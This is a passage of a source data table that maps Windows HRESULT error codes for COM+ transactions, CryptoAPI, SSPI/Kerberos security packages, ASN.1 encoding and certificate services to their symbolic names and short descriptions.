0x8004D080: ("XACT_E_CLERKNOTFOUND", "The specified CRM clerk was not found. It may have completed before it could be held."),
0x8004D081: ("XACT_E_CLERKEXISTS", "The specified CRM clerk does not exist."),
0x8004D082: ("XACT_E_RECOVERYINPROGRESS", "Recovery of the CRM log file is still in progress."),
0x8004D083: ("XACT_E_TRANSACTIONCLOSED", "The transaction has completed, and the log records have been discarded from the log file. They are no longer available."),
0x8004D084: ("XACT_E_INVALIDLSN", "lsnToRead is outside of the current limits of the log"),
0x8004D085: ("XACT_E_REPLAYREQUEST", "The COM+ Compensating Resource Manager has records it wishes to replay."),
0x8004D100: ("XACT_E_CONNECTION_REQUEST_DENIED", "The request to connect to the specified transaction coordinator was denied."),
0x8004D101: ("XACT_E_TOOMANY_ENLISTMENTS", "The maximum number of enlistments for the specified transaction has been reached."),
0x8004D102: ("XACT_E_DUPLICATE_GUID", "A resource manager with the same identifier is already registered with the specified transaction coordinator."),
0x8004D103: ("XACT_E_NOTSINGLEPHASE", "The prepare request given was not eligible for single-phase optimizations."),
0x8004D104: ("XACT_E_RECOVERYALREADYDONE", "RecoveryComplete has already been called for the given resource manager."),
0x8004D105: ("XACT_E_PROTOCOL", "The interface call made was incorrect for the current state of the protocol."),
0x8004D106: ("XACT_E_RM_FAILURE", "The xa_open call failed for the XA resource."),
0x8004D107: ("XACT_E_RECOVERY_FAILED", "The xa_recover call failed for the XA resource."),
0x8004D108: ("XACT_E_LU_NOT_FOUND", "The logical unit of work specified cannot be found."),
0x8004D109: ("XACT_E_DUPLICATE_LU", "The specified logical unit of work already exists."),
0x8004D10A: ("XACT_E_LU_NOT_CONNECTED", "Subordinate creation failed. The specified logical unit of work was not connected."),
0x8004D10B: ("XACT_E_DUPLICATE_TRANSID", "A transaction with the given identifier already exists."),
0x8004D10C: ("XACT_E_LU_BUSY", "The resource is in use."),
0x8004D10D: ("XACT_E_LU_NO_RECOVERY_PROCESS", "The LU Recovery process is down."),
0x8004D10E: ("XACT_E_LU_DOWN", "The remote session was lost."),
0x8004D10F: ("XACT_E_LU_RECOVERING", "The resource is currently recovering."),
0x8004D110: ("XACT_E_LU_RECOVERY_MISMATCH", "There was a mismatch in driving recovery."),
0x8004D111: ("XACT_E_RM_UNAVAILABLE", "An error occurred with the XA resource."),
0x8004E002: ("CONTEXT_E_ABORTED", "The root transaction wanted to commit, but the transaction aborted."),
0x8004E003: ("CONTEXT_E_ABORTING", "The COM+ component on which the method call was made has a transaction that has already aborted or is in the process of aborting."),
0x8004E004: ("CONTEXT_E_NOCONTEXT", "There is no Microsoft Transaction Server (MTS) object context."),
0x8004E005: ("CONTEXT_E_WOULD_DEADLOCK", "The component is configured to use synchronization, and this method call would cause a deadlock to occur."),
0x8004E006: ("CONTEXT_E_SYNCH_TIMEOUT", "The component is configured to use synchronization, and a thread has timed out waiting to enter the context."),
0x8004E007: ("CONTEXT_E_OLDREF", "You made a method call on a COM+ component that has a transaction that has already committed or aborted."),
0x8004E00C: ("CONTEXT_E_ROLENOTFOUND", "The specified role was not configured for the application."),
0x8004E00F: ("CONTEXT_E_TMNOTAVAILABLE", "COM+ was unable to talk to the MSDTC."),
0x8004E021: ("CO_E_ACTIVATIONFAILED", "An unexpected error occurred during COM+ activation."),
0x8004E022: ("CO_E_ACTIVATIONFAILED_EVENTLOGGED", "COM+ activation failed. Check the event log for more information."),
0x8004E023: ("CO_E_ACTIVATIONFAILED_CATALOGERROR", "COM+ activation failed due to a catalog or configuration error."),
0x8004E024: ("CO_E_ACTIVATIONFAILED_TIMEOUT", "COM+ activation failed because the activation could not be completed in the specified amount of time."),
0x8004E025: ("CO_E_INITIALIZATIONFAILED", "COM+ activation failed because an initialization function failed. Check the event log for more information."),
0x8004E026: ("CONTEXT_E_NOJIT", "The requested operation requires that just-in-time (JIT) be in the current context, and it is not."),
0x8004E027: ("CONTEXT_E_NOTRANSACTION", "The requested operation requires that the current context have a transaction, and it does not."),
0x8004E028: ("CO_E_THREADINGMODEL_CHANGED", "The components threading model has changed after install into a COM+ application. Re-install component."),
0x8004E029: ("CO_E_NOIISINTRINSICS", "Internet Information Services (IIS) intrinsics not available. Start your work with IIS."),
0x8004E02A: ("CO_E_NOCOOKIES", "An attempt to write a cookie failed."),
0x8004E02B: ("CO_E_DBERROR", "An attempt to use a database generated a database-specific error."),
0x8004E02C: ("CO_E_NOTPOOLED", "The COM+ component you created must use object pooling to work."),
0x8004E02D: ("CO_E_NOTCONSTRUCTED", "The COM+ component you created must use object construction to work correctly."),
0x8004E02E: ("CO_E_NOSYNCHRONIZATION", "The COM+ component requires synchronization, and it is not configured for it."),
0x8004E02F: ("CO_E_ISOLEVELMISMATCH", "The TxIsolation Level property for the COM+ component being created is stronger than the TxIsolationLevel for the root."),
0x8004E030: ("CO_E_CALL_OUT_OF_TX_SCOPE_NOT_ALLOWED", "The component attempted to make a cross-context call between invocations of EnterTransactionScope and ExitTransactionScope. This is not allowed. Cross-context calls cannot be made while inside a transaction scope."),
0x8004E031: ("CO_E_EXIT_TRANSACTION_SCOPE_NOT_CALLED", "The component made a call to EnterTransactionScope, but did not make a corresponding call to ExitTransactionScope before returning."),
0x80070005: ("E_ACCESSDENIED", "General access denied error."),
0x8007000E: ("E_OUTOFMEMORY", "The server does not have enough memory for the new channel."),
0x80070032: ("ERROR_NOT_SUPPORTED", "The server cannot support a client request for a dynamic virtual channel."),
0x80070057: ("E_INVALIDARG", "One or more arguments are invalid."),
0x80080001: ("CO_E_CLASS_CREATE_FAILED", "Attempt to create a class object failed."),
0x80080002: ("CO_E_SCM_ERROR", "OLE service could not bind object."),
0x80080003: ("CO_E_SCM_RPC_FAILURE", "RPC communication failed with OLE service."),
0x80080004: ("CO_E_BAD_PATH", "Bad path to object."),
0x80080005: ("CO_E_SERVER_EXEC_FAILURE", "Server execution failed."),
0x80080006: ("CO_E_OBJSRV_RPC_FAILURE", "OLE service could not communicate with the object server."),
0x80080007: ("MK_E_NO_NORMALIZED", "Moniker path could not be normalized."),
0x80080008: ("CO_E_SERVER_STOPPING", "Object server is stopping when OLE service contacts it."),
0x80080009: ("MEM_E_INVALID_ROOT", "An invalid root block pointer was specified."),
0x80080010: ("MEM_E_INVALID_LINK", "An allocation chain contained an invalid link pointer."),
0x80080011: ("MEM_E_INVALID_SIZE", "The requested allocation size was too large."),
0x80080015: ("CO_E_MISSING_DISPLAYNAME", "The activation requires a display name to be present under the class identifier (CLSID) key."),
0x80080016: ("CO_E_RUNAS_VALUE_MUST_BE_AAA", "The activation requires that the RunAs value for the application is Activate As Activator."),
0x80080017: ("CO_E_ELEVATION_DISABLED", "The class is not configured to support elevated activation."),
0x80090001: ("NTE_BAD_UID", "Bad UID."),
0x80090002: ("NTE_BAD_HASH", "Bad hash."),
0x80090003: ("NTE_BAD_KEY", "Bad key."),
0x80090004: ("NTE_BAD_LEN", "Bad length."),
0x80090005: ("NTE_BAD_DATA", "Bad data."),
0x80090006: ("NTE_BAD_SIGNATURE", "Invalid signature."),
0x80090007: ("NTE_BAD_VER", "Bad version of provider."),
0x80090008: ("NTE_BAD_ALGID", "Invalid algorithm specified."),
0x80090009: ("NTE_BAD_FLAGS", "Invalid flags specified."),
0x8009000A: ("NTE_BAD_TYPE", "Invalid type specified."),
0x8009000B: ("NTE_BAD_KEY_STATE", "Key not valid for use in specified state."),
0x8009000C: ("NTE_BAD_HASH_STATE", "Hash not valid for use in specified state."),
0x8009000D: ("NTE_NO_KEY", "Key does not exist."),
0x8009000E: ("NTE_NO_MEMORY", "Insufficient memory available for the operation."),
0x8009000F: ("NTE_EXISTS", "Object already exists."),
0x80090010: ("NTE_PERM", "Access denied."),
0x80090011: ("NTE_NOT_FOUND", "Object was not found."),
0x80090012: ("NTE_DOUBLE_ENCRYPT", "Data already encrypted."),
0x80090013: ("NTE_BAD_PROVIDER", "Invalid provider specified."),
0x80090014: ("NTE_BAD_PROV_TYPE", "Invalid provider type specified."),
0x80090015: ("NTE_BAD_PUBLIC_KEY", "Provider's public key is invalid."),
0x80090016: ("NTE_BAD_KEYSET", "Key set does not exist."),
0x80090017: ("NTE_PROV_TYPE_NOT_DEF", "Provider type not defined."),
0x80090018: ("NTE_PROV_TYPE_ENTRY_BAD", "The provider type, as registered, is invalid."),
0x80090019: ("NTE_KEYSET_NOT_DEF", "The key set is not defined."),
0x8009001A: ("NTE_KEYSET_ENTRY_BAD", "The key set, as registered, is invalid."),
0x8009001B: ("NTE_PROV_TYPE_NO_MATCH", "Provider type does not match registered value."),
0x8009001C: ("NTE_SIGNATURE_FILE_BAD", "The digital signature file is corrupt."),
0x8009001D: ("NTE_PROVIDER_DLL_FAIL", "Provider DLL failed to initialize correctly."),
0x8009001E: ("NTE_PROV_DLL_NOT_FOUND", "Provider DLL could not be found."),
0x8009001F: ("NTE_BAD_KEYSET_PARAM", "The keyset parameter is invalid."),
0x80090020: ("NTE_FAIL", "An internal error occurred."),
0x80090021: ("NTE_SYS_ERR", "A base error occurred."),
0x80090022: ("NTE_SILENT_CONTEXT", "Provider could not perform the action because the context was acquired as silent."),
0x80090023: ("NTE_TOKEN_KEYSET_STORAGE_FULL", "The security token does not have storage space available for an additional container."),
0x80090024: ("NTE_TEMPORARY_PROFILE", "The profile for the user is a temporary profile."),
0x80090025: ("NTE_FIXEDPARAMETER", "The key parameters could not be set because the configuration service provider (CSP) uses fixed parameters."),
0x80090026: ("NTE_INVALID_HANDLE", "The supplied handle is invalid."),
0x80090027: ("NTE_INVALID_PARAMETER", "The parameter is incorrect."),
0x80090028: ("NTE_BUFFER_TOO_SMALL", "The buffer supplied to a function was too small."),
0x80090029: ("NTE_NOT_SUPPORTED", "The requested operation is not supported."),
0x8009002A: ("NTE_NO_MORE_ITEMS", "No more data is available."),
0x8009002B: ("NTE_BUFFERS_OVERLAP", "The supplied buffers overlap incorrectly."),
0x8009002C: ("NTE_DECRYPTION_FAILURE", "The specified data could not be decrypted."),
0x8009002D: ("NTE_INTERNAL_ERROR", "An internal consistency check failed."),
0x8009002E: ("NTE_UI_REQUIRED", "This operation requires input from the user."),
0x8009002F: ("NTE_HMAC_NOT_SUPPORTED", "The cryptographic provider does not support Hash Message Authentication Code (HMAC)."),
0x80090300: ("SEC_E_INSUFFICIENT_MEMORY", "Not enough memory is available to complete this request."),
0x80090301: ("SEC_E_INVALID_HANDLE", "The handle specified is invalid."),
0x80090302: ("SEC_E_UNSUPPORTED_FUNCTION", "The function requested is not supported."),
0x80090303: ("SEC_E_TARGET_UNKNOWN", "The specified target is unknown or unreachable."),
0x80090304: ("SEC_E_INTERNAL_ERROR", "The Local Security Authority (LSA) cannot be contacted."),
0x80090305: ("SEC_E_SECPKG_NOT_FOUND", "The requested security package does not exist."),
0x80090306: ("SEC_E_NOT_OWNER", "The caller is not the owner of the desired credentials."),
0x80090307: ("SEC_E_CANNOT_INSTALL", "The security package failed to initialize and cannot be installed."),
0x80090308: ("SEC_E_INVALID_TOKEN", "The token supplied to the function is invalid."),
0x80090309: ("SEC_E_CANNOT_PACK", "The security package is not able to marshal the logon buffer, so the logon attempt has failed."),
0x8009030A: ("SEC_E_QOP_NOT_SUPPORTED", "The per-message quality of protection is not supported by the security package."),
0x8009030B: ("SEC_E_NO_IMPERSONATION", "The security context does not allow impersonation of the client."),
0x8009030C: ("SEC_E_LOGON_DENIED", "The logon attempt failed."),
0x8009030D: ("SEC_E_UNKNOWN_CREDENTIALS", "The credentials supplied to the package were not recognized."),
0x8009030E: ("SEC_E_NO_CREDENTIALS", "No credentials are available in the security package."),
0x8009030F: ("SEC_E_MESSAGE_ALTERED", "The message or signature supplied for verification has been altered."),
0x80090310: ("SEC_E_OUT_OF_SEQUENCE", "The message supplied for verification is out of sequence."),
0x80090311: ("SEC_E_NO_AUTHENTICATING_AUTHORITY", "No authority could be contacted for authentication."),
0x80090316: ("SEC_E_BAD_PKGID", "The requested security package does not exist."),
0x80090317: ("SEC_E_CONTEXT_EXPIRED", "The context has expired and can no longer be used."),
0x80090318: ("SEC_E_INCOMPLETE_MESSAGE", "The supplied message is incomplete. The signature was not verified."),
0x80090320: ("SEC_E_INCOMPLETE_CREDENTIALS", "The credentials supplied were not complete and could not be verified. The context could not be initialized."),
0x80090321: ("SEC_E_BUFFER_TOO_SMALL", "The buffers supplied to a function was too small."),
0x80090322: ("SEC_E_WRONG_PRINCIPAL", "The target principal name is incorrect."),
0x80090324: ("SEC_E_TIME_SKEW", "The clocks on the client and server machines are skewed."),
0x80090325: ("SEC_E_UNTRUSTED_ROOT", "The certificate chain was issued by an authority that is not trusted."),
0x80090326: ("SEC_E_ILLEGAL_MESSAGE", "The message received was unexpected or badly formatted."),
0x80090327: ("SEC_E_CERT_UNKNOWN", "An unknown error occurred while processing the certificate."),
0x80090328: ("SEC_E_CERT_EXPIRED", "The received certificate has expired."),
0x80090329: ("SEC_E_ENCRYPT_FAILURE", "The specified data could not be encrypted."),
0x80090330: ("SEC_E_DECRYPT_FAILURE", "The specified data could not be decrypted."),
0x80090331: ("SEC_E_ALGORITHM_MISMATCH", "The client and server cannot communicate because they do not possess a common algorithm."),
0x80090332: ("SEC_E_SECURITY_QOS_FAILED", "The security context could not be established due to a failure in the requested quality of service (for example, mutual authentication or delegation)."),
0x80090333: ("SEC_E_UNFINISHED_CONTEXT_DELETED", "A security context was deleted before the context was completed. This is considered a logon failure."),
0x80090334: ("SEC_E_NO_TGT_REPLY", "The client is trying to negotiate a context and the server requires user-to-user but did not send a ticket granting ticket (TGT) reply."),
0x80090335: ("SEC_E_NO_IP_ADDRESSES", "Unable to accomplish the requested task because the local machine does not have an IP addresses."),
0x80090336: ("SEC_E_WRONG_CREDENTIAL_HANDLE", "The supplied credential handle does not match the credential associated with the security context."),
0x80090337: ("SEC_E_CRYPTO_SYSTEM_INVALID", "The cryptographic system or checksum function is invalid because a required function is unavailable."),
0x80090338: ("SEC_E_MAX_REFERRALS_EXCEEDED", "The number of maximum ticket referrals has been exceeded."),
0x80090339: ("SEC_E_MUST_BE_KDC", "The local machine must be a Kerberos domain controller (KDC), and it is not."),
0x8009033A: ("SEC_E_STRONG_CRYPTO_NOT_SUPPORTED", "The other end of the security negotiation requires strong cryptographics, but it is not supported on the local machine."),
0x8009033B: ("SEC_E_TOO_MANY_PRINCIPALS", "The KDC reply contained more than one principal name."),
0x8009033C: ("SEC_E_NO_PA_DATA", "Expected to find PA data for a hint of what etype to use, but it was not found."),
0x8009033D: ("SEC_E_PKINIT_NAME_MISMATCH", "The client certificate does not contain a valid user principal name (UPN), or does not match the client name in the logon request. Contact your administrator."),
0x8009033E: ("SEC_E_SMARTCARD_LOGON_REQUIRED", "Smart card logon is required and was not used."),
0x8009033F: ("SEC_E_SHUTDOWN_IN_PROGRESS", "A system shutdown is in progress."),
0x80090340: ("SEC_E_KDC_INVALID_REQUEST", "An invalid request was sent to the KDC."),
0x80090341: ("SEC_E_KDC_UNABLE_TO_REFER", "The KDC was unable to generate a referral for the service requested."),
0x80090342: ("SEC_E_KDC_UNKNOWN_ETYPE", "The encryption type requested is not supported by the KDC."),
0x80090343: ("SEC_E_UNSUPPORTED_PREAUTH", "An unsupported pre-authentication mechanism was presented to the Kerberos package."),
0x80090345: ("SEC_E_DELEGATION_REQUIRED", "The requested operation cannot be completed. The computer must be trusted for delegation, and the current user account must be configured to allow delegation."),
0x80090346: ("SEC_E_BAD_BINDINGS", "Client's supplied Security Support Provider Interface (SSPI) channel bindings were incorrect."),
0x80090347: ("SEC_E_MULTIPLE_ACCOUNTS", "The received certificate was mapped to multiple accounts."),
0x80090348: ("SEC_E_NO_KERB_KEY", "No Kerberos key was found."),
0x80090349: ("SEC_E_CERT_WRONG_USAGE", "The certificate is not valid for the requested usage."),
0x80090350: ("SEC_E_DOWNGRADE_DETECTED", "The system detected a possible attempt to compromise security. Ensure that you can contact the server that authenticated you."),
0x80090351: ("SEC_E_SMARTCARD_CERT_REVOKED", "The smart card certificate used for authentication has been revoked. Contact your system administrator. The event log may contain additional information."),
0x80090352: ("SEC_E_ISSUING_CA_UNTRUSTED", "An untrusted certification authority (CA) was detected while processing the smart card certificate used for authentication. Contact your system administrator."),
0x80090353: ("SEC_E_REVOCATION_OFFLINE_C", "The revocation status of the smart card certificate used for authentication could not be determined. Contact your system administrator."),
0x80090354: ("SEC_E_PKINIT_CLIENT_FAILURE", "The smart card certificate used for authentication was not trusted. Contact your system administrator."),
0x80090355: ("SEC_E_SMARTCARD_CERT_EXPIRED", "The smart card certificate used for authentication has expired. Contact your system administrator."),
0x80090356: ("SEC_E_NO_S4U_PROT_SUPPORT", "The Kerberos subsystem encountered an error. A service for user protocol requests was made against a domain controller that does not support services for users."),
0x80090357: ("SEC_E_CROSSREALM_DELEGATION_FAILURE", "An attempt was made by this server to make a Kerberos-constrained delegation request for a target outside the server's realm. This is not supported and indicates a misconfiguration on this server's allowed-to-delegate-to list. Contact your administrator."),
0x80090358: ("SEC_E_REVOCATION_OFFLINE_KDC", "The revocation status of the domain controller certificate used for smart card authentication could not be determined. The system event log contains additional information. Contact your system administrator."),
0x80090359: ("SEC_E_ISSUING_CA_UNTRUSTED_KDC", "An untrusted CA was detected while processing the domain controller certificate used for authentication. The system event log contains additional information. Contact your system administrator."),
0x8009035A: ("SEC_E_KDC_CERT_EXPIRED", "The domain controller certificate used for smart card logon has expired. Contact your system administrator with the contents of your system event log."),
0x8009035B: ("SEC_E_KDC_CERT_REVOKED", "The domain controller certificate used for smart card logon has been revoked. Contact your system administrator with the contents of your system event log."),
0x8009035D: ("SEC_E_INVALID_PARAMETER", "One or more of the parameters passed to the function were invalid."),
0x8009035E: ("SEC_E_DELEGATION_POLICY", "The client policy does not allow credential delegation to the target server."),
0x8009035F: ("SEC_E_POLICY_NLTM_ONLY", "The client policy does not allow credential delegation to the target server with NLTM only authentication."),
0x80091001: ("CRYPT_E_MSG_ERROR", "An error occurred while performing an operation on a cryptographic message."),
0x80091002: ("CRYPT_E_UNKNOWN_ALGO", "Unknown cryptographic algorithm."),
0x80091003: ("CRYPT_E_OID_FORMAT", "The object identifier is poorly formatted."),
0x80091004: ("CRYPT_E_INVALID_MSG_TYPE", "Invalid cryptographic message type."),
0x80091005: ("CRYPT_E_UNEXPECTED_ENCODING", "Unexpected cryptographic message encoding."),
0x80091006: ("CRYPT_E_AUTH_ATTR_MISSING", "The cryptographic message does not contain an expected authenticated attribute."),
0x80091007: ("CRYPT_E_HASH_VALUE", "The hash value is not correct."),
0x80091008: ("CRYPT_E_INVALID_INDEX", "The index value is not valid."),
0x80091009: ("CRYPT_E_ALREADY_DECRYPTED", "The content of the cryptographic message has already been decrypted."),
0x8009100A: ("CRYPT_E_NOT_DECRYPTED", "The content of the cryptographic message has not been decrypted yet."),
0x8009100B: ("CRYPT_E_RECIPIENT_NOT_FOUND", "The enveloped-data message does not contain the specified recipient."),
0x8009100C: ("CRYPT_E_CONTROL_TYPE", "Invalid control type."),
0x8009100D: ("CRYPT_E_ISSUER_SERIALNUMBER", "Invalid issuer or serial number."),
0x8009100E: ("CRYPT_E_SIGNER_NOT_FOUND", "Cannot find the original signer."),
0x8009100F: ("CRYPT_E_ATTRIBUTES_MISSING", "The cryptographic message does not contain all of the requested attributes."),
0x80091010: ("CRYPT_E_STREAM_MSG_NOT_READY", "The streamed cryptographic message is not ready to return data."),
0x80091011: ("CRYPT_E_STREAM_INSUFFICIENT_DATA", "The streamed cryptographic message requires more data to complete the decode operation."),
0x80092001: ("CRYPT_E_BAD_LEN", "The length specified for the output data was insufficient."),
0x80092002: ("CRYPT_E_BAD_ENCODE", "An error occurred during the encode or decode operation."),
0x80092003: ("CRYPT_E_FILE_ERROR", "An error occurred while reading or writing to a file."),
0x80092004: ("CRYPT_E_NOT_FOUND", "Cannot find object or property."),
0x80092005: ("CRYPT_E_EXISTS", "The object or property already exists."),
0x80092006: ("CRYPT_E_NO_PROVIDER", "No provider was specified for the store or object."),
0x80092007: ("CRYPT_E_SELF_SIGNED", "The specified certificate is self-signed."),
0x80092008: ("CRYPT_E_DELETED_PREV", "The previous certificate or certificate revocation list (CRL) context was deleted."),
0x80092009: ("CRYPT_E_NO_MATCH", "Cannot find the requested object."),
0x8009200A: ("CRYPT_E_UNEXPECTED_MSG_TYPE", "The certificate does not have a property that references a private key."),
0x8009200B: ("CRYPT_E_NO_KEY_PROPERTY", "Cannot find the certificate and private key for decryption."),
0x8009200C: ("CRYPT_E_NO_DECRYPT_CERT", "Cannot find the certificate and private key to use for decryption."),
0x8009200D: ("CRYPT_E_BAD_MSG", "Not a cryptographic message or the cryptographic message is not formatted correctly."),
0x8009200E: ("CRYPT_E_NO_SIGNER", "The signed cryptographic message does not have a signer for the specified signer index."),
0x8009200F: ("CRYPT_E_PENDING_CLOSE", "Final closure is pending until additional frees or closes."),
0x80092010: ("CRYPT_E_REVOKED", "The certificate is revoked."),
0x80092011: ("CRYPT_E_NO_REVOCATION_DLL", "No DLL or exported function was found to verify revocation."),
0x80092012: ("CRYPT_E_NO_REVOCATION_CHECK", "The revocation function was unable to check revocation for the certificate."),
0x80092013: ("CRYPT_E_REVOCATION_OFFLINE", "The revocation function was unable to check revocation because the revocation server was offline."),
0x80092014: ("CRYPT_E_NOT_IN_REVOCATION_DATABASE", "The certificate is not in the revocation server's database."),
0x80092020: ("CRYPT_E_INVALID_NUMERIC_STRING", "The string contains a non-numeric character."),
0x80092021: ("CRYPT_E_INVALID_PRINTABLE_STRING", "The string contains a nonprintable character."),
0x80092022: ("CRYPT_E_INVALID_IA5_STRING", "The string contains a character not in the 7-bit ASCII character set."),
0x80092023: ("CRYPT_E_INVALID_X500_STRING", "The string contains an invalid X500 name attribute key, object identifier (OID), value, or delimiter."),
0x80092024: ("CRYPT_E_NOT_CHAR_STRING", "The dwValueType for the CERT_NAME_VALUE is not one of the character strings. Most likely it is either a CERT_RDN_ENCODED_BLOB or CERT_TDN_OCTED_STRING."),
0x80092025: ("CRYPT_E_FILERESIZED", "The Put operation cannot continue. The file needs to be resized. However, there is already a signature present. A complete signing operation must be done."),
0x80092026: ("CRYPT_E_SECURITY_SETTINGS", "The cryptographic operation failed due to a local security option setting."),
0x80092027: ("CRYPT_E_NO_VERIFY_USAGE_DLL", "No DLL or exported function was found to verify subject usage."),
0x80092028: ("CRYPT_E_NO_VERIFY_USAGE_CHECK", "The called function was unable to perform a usage check on the subject."),
0x80092029: ("CRYPT_E_VERIFY_USAGE_OFFLINE", "The called function was unable to complete the usage check because the server was offline."),
0x8009202A: ("CRYPT_E_NOT_IN_CTL", "The subject was not found in a certificate trust list (CTL)."),
0x8009202B: ("CRYPT_E_NO_TRUSTED_SIGNER", "None of the signers of the cryptographic message or certificate trust list is trusted."),
0x8009202C: ("CRYPT_E_MISSING_PUBKEY_PARA", "The public key's algorithm parameters are missing."),
0x80093000: ("CRYPT_E_OSS_ERROR", "OSS Certificate encode/decode error code base."),
0x80093001: ("OSS_MORE_BUF", "OSS ASN.1 Error: Output Buffer is too small."),
0x80093002: ("OSS_NEGATIVE_UINTEGER", "OSS ASN.1 Error: Signed integer is encoded as a unsigned integer."),
0x80093003: ("OSS_PDU_RANGE", "OSS ASN.1 Error: Unknown ASN.1 data type."),
0x80093004: ("OSS_MORE_INPUT", "OSS ASN.1 Error: Output buffer is too small; the decoded data has been truncated."),
0x80093005: ("OSS_DATA_ERROR", "OSS ASN.1 Error: Invalid data."),
0x80093006: ("OSS_BAD_ARG", "OSS ASN.1 Error: Invalid argument."),
0x80093007: ("OSS_BAD_VERSION", "OSS ASN.1 Error: Encode/Decode version mismatch."),
0x80093008: ("OSS_OUT_MEMORY", "OSS ASN.1 Error: Out of memory."),
0x80093009: ("OSS_PDU_MISMATCH", "OSS ASN.1 Error: Encode/Decode error."),
0x8009300A: ("OSS_LIMITED", "OSS ASN.1 Error: Internal error."),
0x8009300B: ("OSS_BAD_PTR", "OSS ASN.1 Error: Invalid data."),
0x8009300C: ("OSS_BAD_TIME", "OSS ASN.1 Error: Invalid data."),
0x8009300D: ("OSS_INDEFINITE_NOT_SUPPORTED", "OSS ASN.1 Error: Unsupported BER indefinite-length encoding."),
0x8009300E: ("OSS_MEM_ERROR", "OSS ASN.1 Error: Access violation."),
0x8009300F: ("OSS_BAD_TABLE", "OSS ASN.1 Error: Invalid data."),
0x80093010: ("OSS_TOO_LONG", "OSS ASN.1 Error: Invalid data."),
0x80093011: ("OSS_CONSTRAINT_VIOLATED", "OSS ASN.1 Error: Invalid data."),
0x80093012: ("OSS_FATAL_ERROR", "OSS ASN.1 Error: Internal error."),
0x80093013: ("OSS_ACCESS_SERIALIZATION_ERROR", "OSS ASN.1 Error: Multithreading conflict."),
0x80093014: ("OSS_NULL_TBL", "OSS ASN.1 Error: Invalid data."),
0x80093015: ("OSS_NULL_FCN", "OSS ASN.1 Error: Invalid data."),
0x80093016: ("OSS_BAD_ENCRULES", "OSS ASN.1 Error: Invalid data."),
0x80093017: ("OSS_UNAVAIL_ENCRULES", "OSS ASN.1 Error: Encode/Decode function not implemented."),
0x80093018: ("OSS_CANT_OPEN_TRACE_WINDOW", "OSS ASN.1 Error: Trace file error."),
0x80093019: ("OSS_UNIMPLEMENTED", "OSS ASN.1 Error: Function not implemented."),
0x8009301A: ("OSS_OID_DLL_NOT_LINKED", "OSS ASN.1 Error: Program link error."),
0x8009301B: ("OSS_CANT_OPEN_TRACE_FILE", "OSS ASN.1 Error: Trace file error."),
0x8009301C: ("OSS_TRACE_FILE_ALREADY_OPEN", "OSS ASN.1 Error: Trace file error."),
0x8009301D: ("OSS_TABLE_MISMATCH", "OSS ASN.1 Error: Invalid data."),
0x8009301E: ("OSS_TYPE_NOT_SUPPORTED", "OSS ASN.1 Error: Invalid data."),
0x8009301F: ("OSS_REAL_DLL_NOT_LINKED", "OSS ASN.1 Error: Program link error."),
0x80093020: ("OSS_REAL_CODE_NOT_LINKED", "OSS ASN.1 Error: Program link error."),
0x80093021: ("OSS_OUT_OF_RANGE", "OSS ASN.1 Error: Program link error."),
0x80093022: ("OSS_COPIER_DLL_NOT_LINKED", "OSS ASN.1 Error: Program link error."),
0x80093023: ("OSS_CONSTRAINT_DLL_NOT_LINKED", "OSS ASN.1 Error: Program link error."),
0x80093024: ("OSS_COMPARATOR_DLL_NOT_LINKED", "OSS ASN.1 Error: Program link error."),
0x80093025: ("OSS_COMPARATOR_CODE_NOT_LINKED", "OSS ASN.1 Error: Program link error."),
0x80093026: ("OSS_MEM_MGR_DLL_NOT_LINKED", "OSS ASN.1 Error: Program link error."),
0x80093027: ("OSS_PDV_DLL_NOT_LINKED", "OSS ASN.1 Error: Program link error."),
0x80093028: ("OSS_PDV_CODE_NOT_LINKED", "OSS ASN.1 Error: Program link error."),
0x80093029: ("OSS_API_DLL_NOT_LINKED", "OSS ASN.1 Error: Program link error."),
0x8009302A: ("OSS_BERDER_DLL_NOT_LINKED", "OSS ASN.1 Error: Program link error."),
0x8009302B: ("OSS_PER_DLL_NOT_LINKED", "OSS ASN.1 Error: Program link error."),
0x8009302C: ("OSS_OPEN_TYPE_ERROR", "OSS ASN.1 Error: Program link error."),
0x8009302D: ("OSS_MUTEX_NOT_CREATED", "OSS ASN.1 Error: System resource error."),
0x8009302E: ("OSS_CANT_CLOSE_TRACE_FILE", "OSS ASN.1 Error: Trace file error."),
0x80093100: ("CRYPT_E_ASN1_ERROR", "ASN1 Certificate encode/decode error code base."),
0x80093101: ("CRYPT_E_ASN1_INTERNAL", "ASN1 internal encode or decode error."),
0x80093102: ("CRYPT_E_ASN1_EOD", "ASN1 unexpected end of data."),
0x80093103: ("CRYPT_E_ASN1_CORRUPT", "ASN1 corrupted data."),
0x80093104: ("CRYPT_E_ASN1_LARGE", "ASN1 value too large."),
0x80093105: ("CRYPT_E_ASN1_CONSTRAINT", "ASN1 constraint violated."),
0x80093106: ("CRYPT_E_ASN1_MEMORY", "ASN1 out of memory."),
0x80093107: ("CRYPT_E_ASN1_OVERFLOW", "ASN1 buffer overflow."),
0x80093108: ("CRYPT_E_ASN1_BADPDU", "ASN1 function not supported for this protocol data unit (PDU)."),
0x80093109: ("CRYPT_E_ASN1_BADARGS", "ASN1 bad arguments to function call."),
0x8009310A: ("CRYPT_E_ASN1_BADREAL", "ASN1 bad real value."),
0x8009310B: ("CRYPT_E_ASN1_BADTAG", "ASN1 bad tag value met."),
0x8009310C: ("CRYPT_E_ASN1_CHOICE", "ASN1 bad choice value."),
0x8009310D: ("CRYPT_E_ASN1_RULE", "ASN1 bad encoding rule."),
0x8009310E: ("CRYPT_E_ASN1_UTF8", "ASN1 bad Unicode (UTF8)."),
0x80093133: ("CRYPT_E_ASN1_PDU_TYPE", "ASN1 bad PDU type."),
0x80093134: ("CRYPT_E_ASN1_NYI", "ASN1 not yet implemented."),
0x80093201: ("CRYPT_E_ASN1_EXTENDED", "ASN1 skipped unknown extensions."),
0x80093202: ("CRYPT_E_ASN1_NOEOD", "ASN1 end of data expected."),
0x80094001: ("CERTSRV_E_BAD_REQUESTSUBJECT", "The request subject name is invalid or too long."),
0x80094002: ("CERTSRV_E_NO_REQUEST", "The request does not exist."),
0x80094003: ("CERTSRV_E_BAD_REQUESTSTATUS", "The request's current status does not allow this operation."),
0x80094004: ("CERTSRV_E_PROPERTY_EMPTY", "The requested property value is empty."),
0x80094005: ("CERTSRV_E_INVALID_CA_CERTIFICATE", "The CA's certificate contains invalid data."),
0x80094006: ("CERTSRV_E_SERVER_SUSPENDED", "Certificate service has been suspended for a database restore operation."),
0x80094007: ("CERTSRV_E_ENCODING_LENGTH", "The certificate contains an encoded length that is potentially incompatible with older enrollment software."),
0x80094008: ("CERTSRV_E_ROLECONFLICT", "The operation is denied. The user has multiple roles assigned, and the CA is configured to enforce role separation."),
